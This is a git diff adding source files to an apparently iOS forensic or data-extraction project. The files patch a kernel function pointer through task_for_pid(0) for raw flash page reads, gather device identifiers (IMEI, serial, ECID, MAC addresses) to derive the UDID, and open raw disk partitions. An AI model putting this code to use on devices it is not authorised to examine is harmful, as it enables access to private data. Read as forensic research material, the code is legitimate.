kIOFlashControllerDisableKeepout) + { + void* obj2 = (void*) this[0x78/4]; //AppleIOPFMI object + CALL_VTABLE(obj2, 0x35C, 0, 0, 1); + return 0x0; + } + if (selector != kIOFlashControllerReadPage) //only support read + return 0xE00002C2; + + if (IOMemoryDescriptor__withAddress == 0x0) + return 0xdeadbeef; + + struct IOFlashCommandStruct command = {0}; + uint32_t** bufferDesc = NULL; + uint32_t** spareDesc = NULL; + uint32_t** md = NULL; + + void* obj1 = (void*) this[0x78/4]; //AppleIOPFMI object + + struct kIOFlashControllerReadPageIn* in = (struct kIOFlashControllerReadPageIn*) arguments->structureInput; + struct kIOFlashControllerOut* out = (struct kIOFlashControllerOut*) arguments->structureOutput; + + uint32_t page = in->page; + uint32_t ce = in->ce; + + command.flags1 = 1; + if (in->options & kIOFlashStorageOptionBootPageIO) + { + if(in->spare != NULL) + return 0xE00002C2; //spare buffer is not used with bootloader page I/O + command.flags0 = 9; + } + else + { + if( !(in->options & kIOFlashStorageOptionRawPageIO) && in->spare) + { + command.flags0 = in->options & 2; + } + else + { + return 0xdeadbeef; //raw page io + } + } + command.flags1 |= in->options & 4; + command.field8 = 1; + command.fieldC = 0; + command.page_ptr = &page; + + + bufferDesc = IOMemoryDescriptor__withAddress(in->buffer, in->bufferSize, 1, this[0x7C/4]); + if (bufferDesc == NULL) + return 0xE00002C2; + + command.bufferDesc = bufferDesc; + command.field18 = 0; + command.errorCode = 0; + + if (in->spare != NULL) + { + spareDesc = IOMemoryDescriptor__withAddress(in->spare, in-> spareSize, 1, this[0x7C/4]); + if (spareDesc == NULL) + return 0xE00002C2; + + //0xAC -> desc2 __ZN25IOGeneralMemoryDescriptor5doMapEP7_vm_mapPjmmm + //virtual IOMemoryMap * map( IOOptionBits options = 0 ); + md = (void*) CALL_VTABLE(spareDesc, 0x98); //IOGeneralMemoryDescriptor_map + + command.spareSize = in->spareSize; + command.spareVA = (void*) CALL_VTABLE(md, 0x38); + } + else + { + command.spareSize = 0; + command.spareVA = NULL; + } + command.field34 = 0; + command.ce_ptr = &ce; + + out->ret1 = CALL_VTABLE(obj1, 0x344, 0, &command); + + CALL_VTABLE(bufferDesc, 0x14); //IOGeneralMemoryDescriptor_release + + if (md != NULL) + { + CALL_VTABLE(md, 0x14); //IOGeneralMemoryDescriptor_release + } + if (spareDesc != NULL) + { + CALL_VTABLE(spareDesc, 0x14); //IOGeneralMemoryDescriptor_release + } + out->ret2 = command.errorCode; + return 0; +} + +kern_return_t write_kernel(mach_port_t p, void* addr, uint32_t value) +{ + kern_return_t r = vm_write(p, (vm_address_t)addr, (vm_address_t)&value, sizeof(value )); + if (r) + fprintf(stderr, "vm_write into kernel_task failed\n"); + else + fprintf(stderr, "vm_write into kernel_task OK\n"); + return r; +} + +void __attribute__((destructor)) restore_handler() +{ + if (kernel_task != 0 && externalMethod_ptr != NULL && externalMethod_original != NULL) + { + fprintf(stderr, "Restoring IOFlashStorageControler::externalMethod ptr\n"); + write_kernel(kernel_task, externalMethod_ptr, (uint32_t) externalMethod_original+1); + } +} + +void signal_handler(int sig) +{ + restore_handler(); + signal(sig, SIG_DFL); + raise(sig); +} + +int IOFlashStorage_kernel_patch() +{ + CFStringRef version = NULL; + CFDictionaryRef versionDict = _CFCopySystemVersionDictionary(); + + if (versionDict != NULL) + { + version = CFDictionaryGetValue(versionDict, _kCFSystemVersionProductVersionKey); + } + if (version == NULL) + { + fprintf(stderr, "FAILed to get current version\n"); + return 0; + } + if (CFStringCompare(version, CFSTR("4.3.5"), 0) <= 0) + { + fprintf(stderr, "iOS 4 kernel detected, no kernel patching required\n"); + return 1; + } + fprintf(stderr, "iOS 5 kernel detected, replacing IOFlashControlerUserClient::externalMethod\n"); + + kern_return_t r = task_for_pid(mach_task_self(), 0, &kernel_task); + + if( r != 0) + { + fprintf(stderr, "task_for_pid returned %x : missing tfp0 kernel patch (use latest kernel_patcher.py) or wrong entitlements\n", r); + return 0; + } + uint32_t i; + pointer_t buf; + unsigned int sz; + + vm_address_t addr = 0x80002000; + + while( addr < (0x80002000 + 0xA00000)) + { + vm_read(kernel_task, addr, 2048, &buf, &sz); + if( buf == NULL || sz == 0) + continue; + + uint32_t* p = (uint32_t*) buf; + + for(i=0; i < sz/sizeof(uint32_t); i++) + { + if (externalMethod_original != NULL) + { + if (p[i] == (externalMethod_original+1)) + { + externalMethod_ptr = (void*) (addr + i*4); + fprintf(stderr, "Found externalMethod ptr at %x\n", (uint32_t) externalMethod_ptr); + write_kernel(kernel_task, externalMethod_ptr, (uint32_t) myIOFlashStorage_externalMethod); + + signal(SIGINT, signal_handler);//handle ctrl+c + return 1; + } + else if(IOMemoryDescriptor__withAddress == NULL && !memcmp(&p[i], "\x20\x46\x26\xB0\x5D\xF8\x04\x8B\xF0\xBD", 10)) + { + IOMemoryDescriptor__withAddress = (void*) p[i+5]; + fprintf(stderr, "IOMemoryDescriptor__withAddress=%x\n", (uint32_t) IOMemoryDescriptor__withAddress); + } + } + else if(!memcmp(&p[i], "\xF0\xB5\x03\xAF\x4D\xF8\x04\x8D\xA6\xB0\x40\xF2\xC2\x24\x13\x6A", 16)) + { + externalMethod_original = (void*) (addr + i*4); + fprintf(stderr, "Found IOFlashControlerUserClient::externalMethod at %x\n", (uint32_t) externalMethod_original); + } + } + addr += 2048; + } + fprintf(stderr, "Kernel patching failed\n"); + return 0; +} diff --git a/crack/crack/registry.c b/crack/crack/registry.c new file mode 100644 index 0000000..1a67aa3 --- /dev/null +++ b/crack/crack/registry.c @@ -0,0 +1,427 @@ +/** +https://github.com/Gojohnnyboi/restored_pwn +**/ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "util.h" + +//from libmobilegestalt.dylib +CFDataRef copyDataFromChosen(CFStringRef key) +{ + io_registry_entry_t chosen = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/chosen"); + if (chosen) + { + CFDataRef res = IORegistryEntryCreateCFProperty(chosen, key, kCFAllocatorDefault, 0); + IOObjectRelease(chosen); + return res; + } + return NULL; +} +CFStringRef copyStringFromChosen(CFStringRef key) +{ + CFStringRef s = NULL; + CFDataRef data = copyDataFromChosen(key); + if(data == NULL) + return NULL; + + if(CFGetTypeID(data) == CFDataGetTypeID()) + { + s = CFStringCreateWithCString(kCFAllocatorDefault, (const char*) CFDataGetBytePtr(data), kCFStringEncodingUTF8); + } + CFRelease(data); + return s; +} + +CFNumberRef copyNumberFromChosen(CFStringRef key) +{ + CFNumberRef num = NULL; + CFDataRef data = copyDataFromChosen(key); + + if(data == NULL) + return NULL; + if(CFGetTypeID(data) == CFDataGetTypeID()) + { + int len = CFDataGetLength(data); + + num = CFNumberCreate(kCFAllocatorDefault, + len == 4 ? kCFNumberSInt32Type : kCFNumberSInt64Type, + CFDataGetBytePtr(data) + ); + } + CFRelease(data); + return num; +} + +io_service_t get_io_service(const char *name) { + CFMutableDictionaryRef matching; + io_service_t service = 0; + + matching = IOServiceMatching(name); + if(matching == NULL) { + printf("unable to create matching dictionary for class '%s'\n", name); + return 0; + } + + while(!service) { + CFRetain(matching); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + if(service) break; + + printf("waiting for matching IOKit service: %s\n", name); + sleep(1); + CFRelease(matching); + } + + CFRelease(matching); + + return service; +} + +CFStringRef copy_device_imei() { + CFMutableDictionaryRef matching; + io_service_t service; + CFDataRef imeiData; + const void *imeiDataPtr; + CFStringRef imeiString; + + matching = IOServiceNameMatching("baseband"); + service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); + + if(!service) { + return NULL; + } + + imeiData = IORegistryEntryCreateCFProperty(service, CFSTR("device-imei"), kCFAllocatorDefault, 0); + if(!imeiData) { + printf("unable to find device-imei property\n"); + IOObjectRelease(service); + return NULL; + } + + imeiDataPtr = CFDataGetBytePtr(imeiData); + imeiString = CFStringCreateWithCString(kCFAllocatorDefault, imeiDataPtr, kCFStringEncodingUTF8); + + CFRelease(imeiData); + IOObjectRelease(service); + + return imeiString; +} + +CFStringRef copy_device_serial_number() { + io_service_t service; + CFStringRef serialNumber; + + service = get_io_service("IOPlatformExpertDevice"); + if(!service) { + printf("unable to find IOPlatformExpertDevice service\n"); + return NULL; + } + + serialNumber = IORegistryEntryCreateCFProperty(service, CFSTR("IOPlatformSerialNumber"), kCFAllocatorDefault, 0); + IOObjectRelease(service); + + return serialNumber; +} + +CFStringRef copy_devicetree_option(CFStringRef key) { + io_registry_entry_t entry; + CFStringRef option; + + entry = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/options"); + if(!entry) { + printf("unable to get registry entry for IODeviceTree:/options\n"); + return NULL; + } + + option = IORegistryEntryCreateCFProperty(entry, key, kCFAllocatorDefault, 0); + IOObjectRelease(entry); + + return option; +} + +CFStringRef copy_hardware_model() { + size_t buflen = 0x80; + char buf[buflen]; + CFStringRef model; + + if(sysctlbyname("hw.model", buf, &buflen, NULL, 0) != 0) { + printf("sysctlbyname for hw.model failed: %s\n", strerror(errno)); + return NULL; + } + + model = CFStringCreateWithCString(kCFAllocatorDefault, buf, kCFStringEncodingUTF8); + + return model; +} + +CFStringRef copy_hardware_platform() { + io_service_t service; + CFStringRef platform; + char *platformPtr; + + service = get_io_service("IOPlatformExpertDevice"); + if(!service) { + printf("unable to find IOPlatformExpertDevice service\n"); + return NULL; + } + + platform= IORegistryEntryCreateCFProperty(service, CFSTR("platform-name"), kCFAllocatorDefault, 0); + if(platform == NULL) { + printf("platform-name not found in device tree\n"); + IOObjectRelease(service); + return NULL; + } + + platformPtr = calloc(1, CFStringGetLength(platform)+1); + if(!CFStringGetCString(platform, platformPtr, CFStringGetLength(platform)+1, kCFStringEncodingUTF8)) { + printf("unable to obtain platform-name string\n"); + IOObjectRelease(service); + return NULL; + } + + printf("platform-name = %s\n", platformPtr); + free(platformPtr); + + return platform; +} + +CFStringRef copy_bluetooth_mac_address() { + io_service_t service; + CFDataRef macaddrData; + CFStringRef macaddr; + unsigned char macaddrBytes[6]; + + service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching("bluetooth")); + if(!service) { + printf("unable to find bluetooth service\n"); + return NULL; + } + + macaddrData= IORegistryEntryCreateCFProperty(service, CFSTR("local-mac-address"), kCFAllocatorDefault, 0); + if(macaddrData == NULL) { + printf("bluetooth local-mac-address not found\n"); + IOObjectRelease(service); + return NULL; + } + CFDataGetBytes(macaddrData, CFRangeMake(0,6), macaddrBytes); + + macaddr = CFStringCreateWithFormat(kCFAllocatorDefault, + NULL, + CFSTR("%02x:%02x:%02x:%02x:%02x:%02x"), + macaddrBytes[0], + macaddrBytes[1], + macaddrBytes[2], + macaddrBytes[3], + macaddrBytes[4], + macaddrBytes[5]); + + return macaddr; +} + +void search_wifi_mac_callback(void** context, io_iterator_t iterator) { + unsigned char macaddrBytes[6]; + io_iterator_t iterator2=0; + io_object_t obj2=0; + io_name_t name; + CFDataRef t1=0; + io_object_t next; + + while ((next = IOIteratorNext(iterator)) != 0) + { + if (!IORegistryEntryCreateIterator(next, "IOService", 3, &iterator2)) + { + while((obj2 = IOIteratorNext(iterator2)) != 0) + { + if (!IORegistryEntryGetName(obj2,name)) + { + if (!strcmp(name, "sdio") || !strcmp(name, "wlan")) + { + if((t1 = IORegistryEntryCreateCFProperty(obj2, CFSTR("local-mac-address"), kCFAllocatorDefault, 0)) != 0) + { + CFDataGetBytes(t1, CFRangeMake(0,6), macaddrBytes); + *context = (void*) CFStringCreateWithFormat(kCFAllocatorDefault, + NULL, + CFSTR("%02x:%02x:%02x:%02x:%02x:%02x"), + macaddrBytes[0], + macaddrBytes[1], + macaddrBytes[2], + macaddrBytes[3], + macaddrBytes[4], + macaddrBytes[5]); + CFRelease(t1); + } + } + } + + } + IOObjectRelease(iterator2); + } + IOObjectRelease(next); + if (*context != NULL) + break; + } +} + +CFStringRef lookup_mac_address(const char* serviceName) +{ + unsigned char macaddrBytes[6]; + CFStringRef res = NULL; + + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceNameMatching(serviceName)); + + if(service) + { + CFDataRef macData = IORegistryEntryCreateCFProperty(service, CFSTR("local-mac-address"), kCFAllocatorDefault, 0); + if(macData != NULL) + { + CFDataGetBytes(macData, CFRangeMake(0,6), macaddrBytes); + + res = CFStringCreateWithFormat(kCFAllocatorDefault, + NULL, + CFSTR("%02x:%02x:%02x:%02x:%02x:%02x"), + macaddrBytes[0], + macaddrBytes[1], + macaddrBytes[2], + macaddrBytes[3], + macaddrBytes[4], + macaddrBytes[5]); + CFRelease(macData); + } + IOObjectRelease(service); + } + return res; +} + +CFStringRef copy_wifi_mac_address() { + CFStringRef wifimac = NULL; + IONotificationPortRef notify_port = 0; + io_iterator_t iterator = 0; + + wifimac = lookup_mac_address("sdio"); + if (wifimac != NULL) + return wifimac; + + wifimac = lookup_mac_address("wlan"); + if (wifimac != NULL) + return wifimac; + + notify_port = IONotificationPortCreate(kIOMasterPortDefault); + + CFRunLoopSourceRef runLoopSource = IONotificationPortGetRunLoopSource(notify_port); + + CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopDefaultMode); + + if (!IOServiceAddMatchingNotification( notify_port, + kIOMatchedNotification, + IOServiceMatching("IONetworkController"), + (IOServiceMatchingCallback) search_wifi_mac_callback, + &wifimac, + &iterator + )) + { + search_wifi_mac_callback((void**)&wifimac, iterator); + while( wifimac == NULL) + { + if( CFRunLoopRunInMode(kCFRunLoopDefaultMode,0, TRUE) != kCFRunLoopRunHandledSource) + { + printf("giving up on wifi mac address\n"); + break; + } + } + } + IONotificationPortDestroy(notify_port); + return wifimac; +} + +int useNewUDID(CFStringRef hw) +{ + return CFEqual(hw, CFSTR("K93AP")) || + CFEqual(hw, CFSTR("K94AP")) || + CFEqual(hw, CFSTR("K95AP")) || + CFEqual(hw, CFSTR("N92AP")) || + CFEqual(hw, CFSTR("N94AP")); +} + +//http://iphonedevwiki.net/index.php/Lockdownd +void get_device_infos(CFMutableDictionaryRef out) { + CC_SHA1_CTX sha1ctx; + uint8_t udid[20]; + char udid1[100]; + CFStringRef serial; + CFStringRef imei; + CFStringRef macwifi; + CFStringRef macbt; + + CFStringRef hw = copy_hardware_model(); + if (hw != NULL) + { + CFDictionaryAddValue(out, CFSTR("hwModel"), hw); + CFRelease(hw); + } + + serial = copy_device_serial_number(); + imei = copy_device_imei(); + macwifi = copy_wifi_mac_address(); + macbt = copy_bluetooth_mac_address(); + + CFMutableStringRef udidInput = CFStringCreateMutable(kCFAllocatorDefault, 0); + if (serial != NULL) + { + CFStringAppend(udidInput, serial); + CFDictionaryAddValue(out, CFSTR("serialNumber"), serial); + CFRelease(serial); + } + + uint64_t _ecid = 0; + CFNumberRef ecid = copyNumberFromChosen(CFSTR("unique-chip-id")); + if (ecid != NULL) + { + CFDictionaryAddValue(out, CFSTR("ECID"), ecid); + } + + if (ecid != NULL && useNewUDID(hw)) + { + CFNumberGetValue(ecid, kCFNumberSInt64Type, &_ecid); + CFStringAppendFormat(udidInput, NULL, CFSTR("%llu"), _ecid); + } + else if (imei != NULL) + { + CFStringAppend(udidInput, imei); + CFDictionaryAddValue(out, CFSTR("imei"), imei); + CFRelease(imei); + } + if (macwifi != NULL) + { + CFStringAppend(udidInput, macwifi); + CFDictionaryAddValue(out, CFSTR("wifiMac"), macwifi); + CFRelease(macwifi); + } + if (macbt != NULL) + { + CFStringAppend(udidInput, macbt); + CFDictionaryAddValue(out, CFSTR("btMac"), macbt); + CFRelease(macbt); + } + + CFStringGetCString(udidInput, udid1, 99, kCFStringEncodingASCII); + + CC_SHA1_Init(&sha1ctx); + CC_SHA1_Update(&sha1ctx, udid1, CFStringGetLength(udidInput)); + CC_SHA1_Final(udid, &sha1ctx); + + CFRelease(udidInput); + addHexaString(out, CFSTR("udid"), udid, 20); + +} \ No newline at end of file diff --git a/crack/crack/registry.h b/crack/crack/registry.h new file mode 100644 index 0000000..5691756 --- /dev/null +++ b/crack/crack/registry.h @@ -0,0 +1 @@ +void get_device_infos(CFMutableDictionaryRef out); \ No newline at end of file diff --git a/crack/crack/util.c b/crack/crack/util.c new file mode 100644 index 0000000..6406254 --- /dev/null +++ b/crack/crack/util.c @@ -0,0 +1,263 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "util.h" + +char* hex2str(uint8_t* buf, unsigned int sz) { + int i = 0; + unsigned int strsz = sz*2; + char* str = malloc(strsz+1); + for(i = 0; i < sz; i++) sprintf(&str[i*2], "%02x", *(unsigned char*)&buf[i]); + str[strsz] = '\0'; + return str; +} + +uint8_t* str2hex(char* buf) { + int i = 0; + size_t size = 0; + unsigned int byte = 0; + size = strlen(buf) / 2; + uint8_t* data = malloc(size); + + for(i = 0; i < size; i++) { + sscanf(buf, "%02x", &byte); + data[i] = byte; + buf += 2; + } + return data; +} + +void printBytesToHex(const uint8_t* buffer, size_t bytes) +{ + while(bytes > 0) { + printf("%02x", *buffer); + buffer++; + bytes--; + } +} + +void printHexString(const char* description, const uint8_t* buffer, size_t bytes) +{ + printf("%s : ", description); + printBytesToHex(buffer, bytes); + printf("\n"); +} + +int write_file(const char* filename, uint8_t* data, size_t len) +{ + int fd = open(filename, O_CREAT | O_RDWR); + if (fd < 0) + return -1; + if (write(fd, data, len) != len) + return -1; + close(fd); + return 0; +} + +void writePlistToSyslog(CFDictionaryRef out) +{ + CFDataRef d = CFPropertyListCreateData(kCFAllocatorDefault, out, kCFPropertyListXMLFormat_v1_0, 0, NULL); + if (d == NULL) + return; + syslog(LOG_ERR, CFDataGetBytePtr(d), CFDataGetLength(d)); +} + +int mountDataPartition(const char* mountpoint) +{ + char* diskname = "/dev/disk0s2s1"; + int err; + printf("Trying to mount data partition\n"); + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + if (!err) + return 0; + + diskname = "/dev/disk0s1s2"; + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + if (!err) + return 0; + diskname = "/dev/disk0s2"; + err = mount("hfs","/mnt2", MNT_RDONLY | MNT_NOATIME | MNT_NODEV | MNT_LOCAL, &diskname); + + return err; +} + + +int getHFSInfos(struct HFSInfos *infos) +{ + char buf[8192] = {0}; + struct HFSPlusVolumeHeader* header; + unsigned int i; + + int fd = open("/dev/rdisk0s2", O_RDONLY); + if (fd < 0 ) + fd = open("/dev/rdisk0s1s2", O_RDONLY); //ios5 lwvm + if (fd < 0 ) + return fd; + lseek(fd, 0, SEEK_SET); + + if (read(fd, buf, 8192) != 8192) + return -1; + close(fd); + + header = (struct HFSPlusVolumeHeader*) &buf[0x400]; + + uint32_t blockSize = CFSwapInt32BigToHost(header->blockSize); + + infos->volumeUUID = header->volumeUUID; + infos->blockSize = blockSize; + + if (blockSize != 0x1000 && blockSize != 0x2000) + { + fprintf(stderr, "getHFSInfos: Unknown block size %x\n", blockSize); + } + else + { + fd = open("/dev/rdisk0", O_RDONLY); + if (fd < 0 ) + return fd; + + if (read(fd, buf, 8192) != 8192) + return -1; + + if (!memcmp(buf, LwVMType, 16)) + { + LwVM* lwvm = (LwVM*) buf; + + if (lwvm->chunks[0] != 0xF000) + { + fprintf(stderr, "getHFSInfos: lwvm->chunks[0] != 0xF000\n"); + return -1; + } + + for(i=0; i < 0x400; i++) + { + if(lwvm->chunks[i] == 0x1000) //partition 1 block 0 + { + break; + } + } + uint32_t LwVM_rangeShiftValue = 32 - __builtin_clz((lwvm->mediaSize - 1) >> 10); + + infos->dataVolumeOffset = (i << LwVM_rangeShiftValue) / blockSize; + } + else + { + lseek(fd, 2*blockSize, SEEK_SET); + + if (read(fd, buf, 8192) != 8192) + return -1; + close(fd); + + infos->dataVolumeOffset = ((unsigned int*)buf)[0xA0/4]; + } + } + return 0; +} + +CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len) +{ + int i; + + CFMutableStringRef s = CFStringCreateMutable(kCFAllocatorDefault, len*2); + + for(i=0; i < len; i++) + { + CFStringAppendFormat(s, NULL, CFSTR("%02x"), buffer[i]); + } + return s; +} + +void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len) +{ + CFMutableStringRef s = CreateHexaCFString(buffer, len); + CFDictionaryAddValue(out, key, s); + CFRelease(s); +} + +void saveResults(CFStringRef filename, CFMutableDictionaryRef out) +{ + CFURLRef fileURL = CFURLCreateWithFileSystemPath( NULL, filename, kCFURLPOSIXPathStyle, FALSE); + CFWriteStreamRef stream = CFWriteStreamCreateWithFile( NULL, fileURL); + CFWriteStreamOpen(stream); + CFPropertyListWriteToStream(out, stream, kCFPropertyListXMLFormat_v1_0, NULL); + CFWriteStreamClose(stream); + + CFRelease(stream); + CFRelease(fileURL); +} + +int create_listening_socket(int port) +{ + struct sockaddr_in listen_addr; + int s, one = 1; + + memset(&listen_addr, 0, sizeof(struct sockaddr)); + listen_addr.sin_family = AF_INET; + listen_addr.sin_port = htons(port); + listen_addr.sin_addr.s_addr = INADDR_ANY; + + s = socket(AF_INET, SOCK_STREAM, 0); + + setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + + if (bind(s, (struct sockaddr *)&listen_addr, sizeof(struct sockaddr)) < 0) + { + perror("bind"); + return -1; + } + listen(s, 10); + + return s; +} + +int sock_listen(unsigned short portnum) { + int s; + struct sockaddr_in sa; + + s = socket(AF_INET, SOCK_STREAM, 0); + if(s < 0) { + printf("Unable to open socket\n"); + return -1; + } + + memset(&sa, 0, sizeof(struct sockaddr_in)); + sa.sin_port = htons(portnum); + sa.sin_family = PF_INET; + int x = bind(s, (struct sockaddr*)&sa, sizeof(struct sockaddr_in)); + if(x < 0) { + printf("Unable to bind to socket address\n"); + close(s); + return -1; + } + + listen(s, 3); + return s; +} + +int sock_accept(int sock) { + int x = accept(sock, NULL, NULL); + return x; +} + + +int sock_send(int sock, unsigned char* data, unsigned int size) { + //hexdump(data, size); + int x = send(sock, data, size, 0); + return x; +} + +int sock_recv(int sock, unsigned char* data, unsigned int size) { + int x = recv(sock, data, size, 0); + //hexdump(data, x); + return x; +} diff --git a/crack/crack/util.h b/crack/crack/util.h new file mode 100644 index 0000000..877ba75 --- /dev/null +++ b/crack/crack/util.h @@ -0,0 +1,90 @@ +#include + +struct HFSInfos { + uint64_t volumeUUID; + uint32_t blockSize; + uint32_t dataVolumeOffset; +}; + +struct HFSPlusVolumeHeader { + uint16_t signature; + uint16_t version; + uint32_t attributes; + uint32_t lastMountedVersion; + uint32_t journalInfoBlock; + + uint32_t createDate; + uint32_t modifyDate; + uint32_t backupDate; + uint32_t checkedDate; + + uint32_t fileCount; + uint32_t folderCount; + + uint32_t blockSize; + uint32_t totalBlocks; + uint32_t freeBlocks; + + uint32_t nextAllocation; + uint32_t rsrcClumpSize; + uint32_t dataClumpSize; + uint32_t nextCatalogID; + + uint32_t writeCount; + uint64_t encodingsBitmap; + + uint32_t finderInfo[6]; + uint64_t volumeUUID; + /* + HFSPlusForkData allocationFile; + HFSPlusForkData extentsFile; + HFSPlusForkData catalogFile; + HFSPlusForkData attributesFile; + HFSPlusForkData startupFile;*/ +} __attribute__((packed)); + +//https://github.com/iDroid-Project/openiBoot/blob/master/openiboot/includes/bdev.h +typedef struct _LwVMPartitionRecord { + uint64_t type[2]; + uint64_t guid[2]; + uint64_t begin; + uint64_t end; + uint64_t attribute; // 0 == unencrypted; 0x1000000000000 == encrypted + char partitionName[0x48]; +} __attribute__ ((packed)) LwVMPartitionRecord; + +typedef struct _LwVM { + uint64_t type[2]; + uint64_t guid[2]; + uint64_t mediaSize; + uint32_t numPartitions; + uint32_t crc32; + uint8_t unkn[464]; + LwVMPartitionRecord partitions[12]; + uint16_t chunks[1024]; // chunks[0] should be 0xF000 +} __attribute__ ((packed)) LwVM; + +static const char LwVMType[] = { 0x6A, 0x90, 0x88, 0xCF, 0x8A, 0xFD, 0x63, 0x0A, 0xE3, 0x51, 0xE2, 0x48, 0x87, 0xE0, 0xB9, 0x8B }; + +int getHFSInfos(struct HFSInfos *infos); + +CFMutableStringRef CreateHexaCFString(uint8_t* buffer, size_t len); + +void printBytesToHex(const uint8_t* buffer, size_t bytes); +void printHexString(const char* description, const uint8_t* buffer, size_t bytes); +int write_file(const char* filename, uint8_t* data, size_t len); + +void addHexaString(CFMutableDictionaryRef out, CFStringRef key, uint8_t* buffer, size_t len); +void saveResults(CFStringRef filename, CFMutableDictionaryRef out); +void writePlistToSyslog(CFDictionaryRef out); + +int mountDataPartition(const char* mountpoint); + +int create_listening_socket(int port); +char* hex2str(uint8_t* buf, unsigned int sz); +uint8_t* str2hex(char* buf); + +int sock_listen(unsigned short portnum); +int sock_accept(int sock); +int sock_send(int sock, unsigned char* data, unsigned int size); +int sock_recv(int sock, unsigned char* data, unsigned int size); diff --git a/dump/dump.xcodeproj/project.pbxproj b/dump/dump.xcodeproj/project.pbxproj new file mode 100644 index 0000000..a0a1575 --- /dev/null +++ b/dump/dump.xcodeproj/project.pbxproj @@ -0,0 +1,348 @@ +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 46; + objects = { + +/* Begin PBXBuildFile section */ + 8A6E7423188EF333000D650F /* disk.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E741A188EF333000D650F /* disk.c */; }; + 8A6E7424188EF333000D650F /* dump.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E741D188EF333000D650F /* dump.c */; }; + 8A6E7425188EF333000D650F /* sock.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E741F188EF333000D650F /* sock.c */; }; + 8A6E7426188EF333000D650F /* util.c in Sources */ = {isa = PBXBuildFile; fileRef = 8A6E7421188EF333000D650F /* util.c */; }; + 8A6E7466189728F0000D650F /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8A6E7463189713BA000D650F /* CoreFoundation.framework */; }; +/* End PBXBuildFile section */ + +/* Begin PBXFileReference section */ + 8A6E739C188EF0E4000D650F /* dump */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = dump; sourceTree = BUILT_PRODUCTS_DIR; }; + 8A6E73A1188EF0E4000D650F /* control.txt */ = {isa = PBXFileReference; lastKnownFileType = text; name = control.txt; path = Package/DEBIAN/control.txt; sourceTree = ""; }; + 8A6E73A2188EF0E4000D650F /* control */ = {isa = PBXFileReference; lastKnownFileType = text; name = control; path = Package/DEBIAN/control; sourceTree = ""; }; + 8A6E73A4188EF0E4000D650F /* PackageVersion.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = PackageVersion.plist; sourceTree = ""; }; + 8A6E73A7188EF0E4000D650F /* 0xdeadfa11 */ = {isa = PBXFileReference; lastKnownFileType = text; name = 0xdeadfa11; path = Package/usr/bin/0xdeadfa11; sourceTree = ""; }; + 8A6E7419188EF333000D650F /* com.sudo-sec.dump.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = "com.sudo-sec.dump.plist"; sourceTree = ""; }; + 8A6E741A188EF333000D650F /* disk.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = disk.c; sourceTree = ""; }; + 8A6E741B188EF333000D650F /* disk.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = disk.h; sourceTree = ""; }; + 8A6E741D188EF333000D650F /* dump.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = dump.c; sourceTree = ""; }; + 8A6E741E188EF333000D650F /* dump.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = dump.h; sourceTree = ""; }; + 8A6E741F188EF333000D650F /* sock.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = sock.c; sourceTree = ""; }; + 8A6E7420188EF333000D650F /* sock.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = sock.h; sourceTree = ""; }; + 8A6E7421188EF333000D650F /* util.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = util.c; sourceTree = ""; }; + 8A6E7422188EF333000D650F /* util.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = util.h; sourceTree = ""; }; + 8A6E7463189713BA000D650F /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = System/Library/Frameworks/CoreFoundation.framework; sourceTree = SDKROOT; }; +/* End PBXFileReference section */ + +/* Begin PBXFrameworksBuildPhase section */ + 8A6E7399188EF0E4000D650F /* Frameworks */ = { + isa = PBXFrameworksBuildPhase; + buildActionMask = 2147483647; + files = ( + 8A6E7466189728F0000D650F /* CoreFoundation.framework in Frameworks */, + ); + runOnlyForDeploymentPostprocessing = 0; + }; +/* End PBXFrameworksBuildPhase section */ + +/* Begin PBXGroup section */ + 8A6E7393188EF0E4000D650F = { + isa = PBXGroup; + children = ( + 8A6E739E188EF0E4000D650F /* dump */, + 8A6E739D188EF0E4000D650F /* Products */, + 8A6E7465189728A5000D650F /* Frameworks */, + ); + sourceTree = ""; + }; + 8A6E739D188EF0E4000D650F /* Products */ = { + isa = PBXGroup; + children = ( + 8A6E739C188EF0E4000D650F /* dump */, + ); + name = Products; + sourceTree = ""; + }; + 8A6E739E188EF0E4000D650F /* dump */ = { + isa = PBXGroup; + children = ( + 8A6E7429188EF36D000D650F /* misc */, + 8A6E7428188EF353000D650F /* disk */, + 